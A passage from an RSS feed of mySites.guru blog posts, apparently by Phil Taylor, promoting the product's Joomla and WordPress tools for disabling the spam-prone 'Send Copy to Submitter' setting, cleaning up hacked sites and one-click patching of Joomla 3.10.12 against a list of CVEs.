&lt;p&gt;Speaking of tidying up your webspace - fluff files aren&apos;t the only things hiding in plain sight. Hackers plant &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;dot-prefixed hidden files and folders&lt;/a&gt; that most file managers never show you. The mySites.guru audit surfaces them all in seconds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Post-update cleanup is part of our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>security</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/remove-joomla-fluff.7USoCdl7.webp" length="0" type="image/webp"/></item><item><title>Disable &quot;Send Copy to Submitter&quot; in Joomla</title><link>https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/</guid><description>Use mySites.guru to bulk-disable the Joomla Send Copy to Submitter contact form setting across all your sites to stop it being abused for spam.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We have all been there. The customer calls and says people are telling him that his &lt;strong&gt;Joomla Site is spamming them&lt;/strong&gt;, and on investigation the spammer has misused the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; feature of Joomla. &lt;strong&gt;Well now mySites.guru identifies this setting and alerts you if its not disabled.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One of the long standing core features of Joomla is the Contact Form.&lt;/p&gt;
&lt;p&gt;However, the contact form has been much abused by spammers over the years.&lt;/p&gt;
&lt;p&gt;One of the ways spammers abuse the contact form is to use the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; feature.&lt;/p&gt;
&lt;p&gt;This is a simple checkbox on the contact form that, when ticked, and the form submitted, will send the contact form as normal to the Site Admin (or whoever its configured to send to) as well as to the email address provided by the person filling in the form.&lt;/p&gt;
&lt;p&gt;That &quot;person&quot; might be a bot, a spammer, and the email address they provide in the &quot;Email&quot; input is the email address destination of their spam target.&lt;/p&gt;
&lt;p&gt;Once they put the email of their target in, and check the &lt;code&gt;Send Copy To Submitter&lt;/code&gt;box they submit the form and Joomla simply honours what they have asked. It sends a copy to the email address provided.&lt;/p&gt;
&lt;p&gt;The &quot;victim&quot; then receives spam with a subject line starting &quot;Copy of:&quot;&lt;/p&gt;
&lt;p&gt;The &quot;victim&quot; then accuses your site of spamming them. Of course, this only works if your site&apos;s email configuration is actually sending mail in the first place - see &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to verify your Joomla email configuration&lt;/a&gt; for the full checklist.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Send to Submitter in Joomla?&lt;/h2&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/oCXcv8CVFz8&quot; title=&quot;Disable Send Copy to Submitter in Joomla&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Does the mySites.guru Snapshot Show This Setting?&lt;/h2&gt;
&lt;p&gt;Every day the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru snapshot takes tens of thousands of new snapshots of Joomla and WordPress sites&lt;/a&gt; (the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; issue is a Joomla thing though!)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We now report in the snapshot if your site has the &lt;code&gt;Send Copy To Submitter&lt;/code&gt;setting enabled.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Note that in later versions this setting is disabled by default when you install Joomla, and that earlier versions had it enabled by default.&lt;/p&gt;
&lt;p&gt;Note also that although we check the Global value of this setting, you can still override the Global setting on a per form basis. We don&apos;t check this because that is a deliberate action you would need to take, and we hope you know why you did it. We are just recommending sane Global defaults.&lt;/p&gt;
&lt;p&gt;You can also use the pivot button to view this settings current status on ALL your connected sites to mySites.guru (remember that &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru is an UNLIMITED SITES service for only GBP19.99 a month&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For more Joomla-specific configuration and security tips for agencies, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>spam prevention</category><category>security</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/5.BpDhG7vS.webp" length="0" type="image/webp"/></item><item><title>How to Fix a Hacked Joomla or WordPress Site</title><link>https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/</guid><description>Step-by-step guide to finding and cleaning hacked files on Joomla or WordPress using mySites.guru&apos;s suspect content audit and file comparison tools.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So it happened. Your site got hacked. Don&apos;t panic. If you&apos;re not 100% sure yet, start with &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is actually hacked&lt;/a&gt; - it covers the signs vs. false alarms. For the full rundown on what happens when a &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress site gets hacked&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site gets hacked&lt;/a&gt;, those guides cover warnings signs, consequences, and prevention - but this post is about the cleanup process using mySites.guru. If your Joomla site uses the Astroid Framework, check our &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid vulnerability breakdown&lt;/a&gt; first - it covers the specific backdoors and cleanup steps for that attack. Extension vulnerabilities like the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework exploit&lt;/a&gt; are another common entry point, particularly because shared library plugins like nrframework get bundled as silent dependencies that site owners don&apos;t realise are there.&lt;/p&gt;
&lt;h2&gt;Why Should You Back Up First (and Not Restore)?&lt;/h2&gt;
&lt;p&gt;Do it now. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Back up your site&lt;/a&gt;. Even if it&apos;s hacked. Back up right now. Done? Good.&lt;/p&gt;
&lt;p&gt;You&apos;ll see people recommend restoring from your last clean backup. &lt;strong&gt;This should only be a last resort.&lt;/strong&gt; Restoring wipes away evidence that someone experienced can use to understand how you were hacked in the first place. Worse, it re-introduces the same security hole that let the attacker in.&lt;/p&gt;
&lt;h2&gt;Want an expert to just fix it?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee of GBP 120, Phil will clean your site, upgrade it, lock it down and hand it back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;How Do You Find the Hacked Files with mySites.guru?&lt;/h2&gt;
&lt;p&gt;mySites.guru has a set of tools built specifically for this. The platform checks every line of code in your webspace to show you what&apos;s actually happening on your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The most popular tool for hack cleanup is the &lt;strong&gt;suspect content scanner&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;How Do You Discover Suspect Content in Your Files?&lt;/h2&gt;
&lt;p&gt;After your site has been audited, you&apos;ll find the suspect content tool in the &quot;Hacked?&quot; section of the Audit tab.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Clicking &lt;strong&gt;Investigate&lt;/strong&gt; loads a real-time scan of your files:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The tool shows the file path, filename, last modified date, size, and permissions. You get buttons to edit the file, view the suspect content matches, or delete the file entirely.&lt;/p&gt;
&lt;p&gt;Click on a filename and the platform retrieves the file from your site, runs it against the pattern matching engine, and highlights the exact lines that look suspicious:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How Do You Revert Core Joomla and WordPress Files?&lt;/h2&gt;
&lt;p&gt;In the example above, index.php has two lines of injected code. You could edit those lines out manually, but there&apos;s a faster way.&lt;/p&gt;
&lt;p&gt;The first tool in the Audit tab is the &lt;strong&gt;core file integrity check&lt;/strong&gt; - it lists every core file (Joomla or WordPress) that has been modified since release. Click on a file and you get a side-by-side diff: the original on the left, your modified version on the right.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click the blue arrow and the original file is restored in a single click - overwriting the hacked version and reverting all changes.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What Other Audit Tools Help Investigate a Hack?&lt;/h2&gt;
&lt;p&gt;The suspect content scanner and core file diff are just two of the tools available. The full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit toolset&lt;/a&gt; includes checks for:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Not every flagged file is malicious. Some are &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files left behind by tools or hosting providers&lt;/a&gt; that are harmless but worth knowing about. Work through each tool and you&apos;ll know exactly what needs cleaning.&lt;/p&gt;
&lt;h2&gt;How Do You Set Up Monitoring to Catch Future Hacks Early?&lt;/h2&gt;
&lt;p&gt;Once your site is clean, set up monitoring so you&apos;ll know immediately if something changes again.&lt;/p&gt;
&lt;p&gt;mySites.guru lets you add &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; and run unlimited backups, snapshots, and audits. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file monitoring&lt;/a&gt; checks a configurable list of critical files on every page load and emails you if any of them are modified.&lt;/p&gt;
&lt;p&gt;Finding a hack the same day it happens is a completely different situation from discovering it three months later.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Always back up before making changes&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Before editing or restoring any files, take a fresh backup. If something goes wrong during cleanup, you need a way to get back to where you started.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on your site to see what mySites.guru finds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt; for agencies.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru.CJDDleBK.png" length="0" type="image/png"/></item><item><title>Fix Joomla 3 Security Issues in One Click</title><link>https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/</guid><description>Patch every known Joomla 3 security vulnerability across all your sites with a single toggle in mySites.guru - no manual file edits, no eLTS subscription.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 is end of life. The official project stopped releasing public updates at 3.10.12, but new vulnerabilities keep turning up. In January 2025 alone, three more were disclosed via the &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;eLTS programme&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Manually patching 55 files per site is tedious enough when you have five sites. When you have five hundred, forget it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru fixes every known Joomla 3 security issue with a single click.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We include all Joomla 3 security fixes in the service. No eLTS subscription needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;How Does It Work?&lt;/h2&gt;
&lt;p&gt;The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. One toggle. That&apos;s it.&lt;/p&gt;
&lt;p&gt;Under the hood, the mySites.guru connector tracks the MD5 hash of each file that needs patching. Flip the toggle on and it compares hashes against the expected patched versions, replacing anything that doesn&apos;t match. Flip it off and the files revert to stock 3.10.12.&lt;/p&gt;
&lt;p&gt;The tool only runs on Joomla 3.10.12, the last publicly released version of the Joomla 3 series. It ignores the commercial eLTS programme entirely.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where Do You Find the Tool?&lt;/h2&gt;
&lt;p&gt;Two ways to get there:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;Cmd+K&lt;/a&gt; and search for &quot;Fix All Known Joomla 3&quot;&lt;/li&gt;
&lt;li&gt;Open your site&apos;s &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;Snapshot&lt;/a&gt; and scroll to the Joomla Configuration section&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Both paths lead to a tool overview page listing every Joomla 3.10.12 site you manage, along with each site&apos;s current patch status.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How Do You Patch Multiple Sites at Once?&lt;/h2&gt;
&lt;p&gt;Got dozens or hundreds of Joomla 3 sites? Click the grid icon next to the toggle to open the bulk view. It shows every Joomla 3.10.12 site with individual toggles. If you&apos;re &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from a single dashboard, this bulk view is where you&apos;ll spend most of your time.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Direct link: &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&quot;&gt;manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What vulnerabilities does it fix?&lt;/h2&gt;
&lt;p&gt;Individually, none of these will get your site hacked while you sleep. But stacked together across an unpatched site, they add up. The patch covers 55 files and addresses every known vulnerability disclosed since 3.10.12:&lt;/p&gt;
&lt;h3&gt;XSS vulnerabilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21724&quot;&gt;CVE-2024-21724&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/927-20240203-core-xss-in-media-selection-fields.html&quot;&gt;XSS in media selection fields&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21725&quot;&gt;CVE-2024-21725&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/928-20240204-core-xss-in-mail-address-outputs.html&quot;&gt;XSS in mail address outputs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21726&quot;&gt;CVE-2024-21726&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/929-20240205-core-inadequate-content-filtering-within-the-filter-code.html&quot;&gt;Inadequate content filtering within the filter code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21731&quot;&gt;CVE-2024-21731&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/937-20240703-core-xss-in-stringhelper-truncate-method.html&quot;&gt;XSS in StringHelper::truncate method&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-26278&quot;&gt;CVE-2024-26278&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/939-20240705-core-xss-in-com-fields-default-field-value.html&quot;&gt;XSS in com_fields default field value&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-26279&quot;&gt;CVE-2024-26279&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/938-20240704-core-xss-in-wrapper-extensions.html&quot;&gt;XSS in Wrapper extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40743&quot;&gt;CVE-2024-40743&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/946-20240805-core-xss-vectors-in-outputfilter-strip-methods.html&quot;&gt;XSS vectors in Outputfilter::strip* methods&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40747&quot;&gt;CVE-2024-40747&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/954-20250101-core-xss-vectors-in-module-chromes.html&quot;&gt;XSS vectors in module chromes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40748&quot;&gt;CVE-2024-40748&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/955-20250102-core-xss-vector-in-the-id-attribute-of-menu-lists.html&quot;&gt;XSS vector in the id attribute of menu lists&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Other vulnerabilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27184&quot;&gt;CVE-2024-27184&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/941-20240801-core-inadequate-validation-of-internal-urls.html&quot;&gt;Inadequate validation of internal URLs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27185&quot;&gt;CVE-2024-27185&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/942-20240802-core-cache-poisoning-in-pagination.html&quot;&gt;Cache poisoning in pagination&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21723&quot;&gt;CVE-2024-21723&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/926-20240202-core-open-redirect-in-installation-application.html&quot;&gt;Open redirect in installation application&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21722&quot;&gt;CVE-2024-21722&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/925-20240201-core-insufficient-session-expiration-in-mfa-management-views.html&quot;&gt;Insufficient session expiration in MFA management views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-40626&quot;&gt;CVE-2023-40626&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/919-20231101-core-exposure-of-environment-variables.html&quot;&gt;Exposure of environment variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40749&quot;&gt;CVE-2024-40749&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/956-20250103-core-read-acl-violation-in-multiple-core-views.html&quot;&gt;Read ACL violation in multiple core views&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;eLTS bug-fix-for-bug-fix patches&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Fixes in 3.10.19-elts that &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999/pull/12/files&quot;&gt;repair broken code shipped in 3.10.18-elts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fixes in 3.10.18-elts that &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999/pull/11/files&quot;&gt;repair broken code shipped in 3.10.17-elts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How Do Patched Files Show Up in Audits?&lt;/h2&gt;
&lt;p&gt;After patching, your mySites.guru audit will flag the modified files as Core File Changes, because they &lt;em&gt;are&lt;/em&gt; changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Which Files Does the Patch Modify?&lt;/h2&gt;
&lt;p&gt;The tool patches 55 files: a mix of PHP files (the actual security fixes) and XML form definitions (tighter input validation). You need both. Changing the XML alone isn&apos;t enough.&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;Full list of patched files (55 files)&amp;lt;/summary&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;administrator/components/com_config/model/form/application.xml&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.com_config.ini&lt;/li&gt;
&lt;li&gt;components/com_content/views/archive/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_finder/views/search/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_search/views/search/view.html.php&lt;/li&gt;
&lt;li&gt;libraries/src/Cache/Cache.php&lt;/li&gt;
&lt;li&gt;libraries/src/Pagination/Pagination.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_banners/models/forms/banner.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_categories/models/forms/category.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contact/config.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contact/models/forms/contact.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_content/models/forms/article.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_fields/models/forms/field.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_alias.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_component.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_heading.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_separator.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_url.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_alias.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_component.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_container.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_heading.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_url.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_newsfeeds/models/forms/newsfeed.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_tags/models/forms/tag.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_users/models/user.php&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.lib_joomla.ini&lt;/li&gt;
&lt;li&gt;administrator/templates/hathor/templateDetails.xml&lt;/li&gt;
&lt;li&gt;administrator/templates/isis/templateDetails.xml&lt;/li&gt;
&lt;li&gt;components/com_content/models/forms/article.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tag/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tag/tmpl/list.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tags/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_users/models/profile.php&lt;/li&gt;
&lt;li&gt;components/com_users/views/login/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_wrapper/views/wrapper/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;includes/framework.php&lt;/li&gt;
&lt;li&gt;libraries/cms/html/string.php&lt;/li&gt;
&lt;li&gt;libraries/fof/download/adapter/cacert.pem&lt;/li&gt;
&lt;li&gt;libraries/src/Form/Rule/UrlRule.php&lt;/li&gt;
&lt;li&gt;libraries/src/Http/Transport/cacert.pem&lt;/li&gt;
&lt;li&gt;libraries/src/Language/LanguageHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/Uri/Uri.php&lt;/li&gt;
&lt;li&gt;libraries/vendor/joomla/filter/src/InputFilter.php&lt;/li&gt;
&lt;li&gt;libraries/vendor/joomla/filter/src/OutputFilter.php&lt;/li&gt;
&lt;li&gt;modules/mod_custom/mod_custom.xml&lt;/li&gt;
&lt;li&gt;modules/mod_wrapper/mod_wrapper.xml&lt;/li&gt;
&lt;li&gt;plugins/user/profile/profile.php&lt;/li&gt;
&lt;li&gt;templates/beez3/templateDetails.xml&lt;/li&gt;
&lt;li&gt;templates/protostar/templateDetails.xml&lt;/li&gt;
&lt;li&gt;components/com_privacy/controller.php&lt;/li&gt;
&lt;li&gt;components/com_privacy/privacy.php&lt;/li&gt;
&lt;li&gt;components/com_users/controller.php&lt;/li&gt;
&lt;li&gt;components/com_users/users.php&lt;/li&gt;
&lt;li&gt;modules/mod_menu/tmpl/default.php&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;h2&gt;Why Does Joomla 3 Still Matter?&lt;/h2&gt;
&lt;p&gt;Joomla 3 is still everywhere. &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla/3&quot;&gt;W3Techs&lt;/a&gt; shows version 3 running on the majority of Joomla installations, and Joomla&apos;s own &lt;a href=&quot;https://developer.joomla.org/about/stats.html&quot;&gt;usage statistics&lt;/a&gt; put 3.10.x at over 35% of reporting sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you run a &lt;a href=&quot;https://mysites.guru/&quot;&gt;digital agency&lt;/a&gt;, you already know: migrating clients from Joomla 3 to 4 or 5 takes budget, developer time, and client sign-off. That doesn&apos;t happen overnight, and the sites still need protecting in the meantime.&lt;/p&gt;
&lt;h2&gt;What Is the Joomla 3.10.999 Project?&lt;/h2&gt;
&lt;p&gt;The patches in mySites.guru come from the open-source &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999 project&lt;/a&gt;. That repo has every Joomla 3.10 version from 3.10.12 onwards, plus diffs for all patches released under the commercial eLTS programme.&lt;/p&gt;
&lt;p&gt;Same approach as the earlier &lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt; and &lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt; repos. It&apos;ll be maintained for as long as Joomla 3 sites exist.&lt;/p&gt;
&lt;h2&gt;Stop patching files by hand&lt;/h2&gt;
&lt;p&gt;If you&apos;re still running Joomla 3, stop tracking CVEs by hand. Add your sites to mySites.guru, flip the toggle, and get on with your day.&lt;/p&gt;
&lt;p&gt;The broader picture of securing Joomla and WordPress sites is covered in the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;. For Joomla-specific agency workflows, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Start your free trial →&lt;/a&gt;&lt;/p&gt;
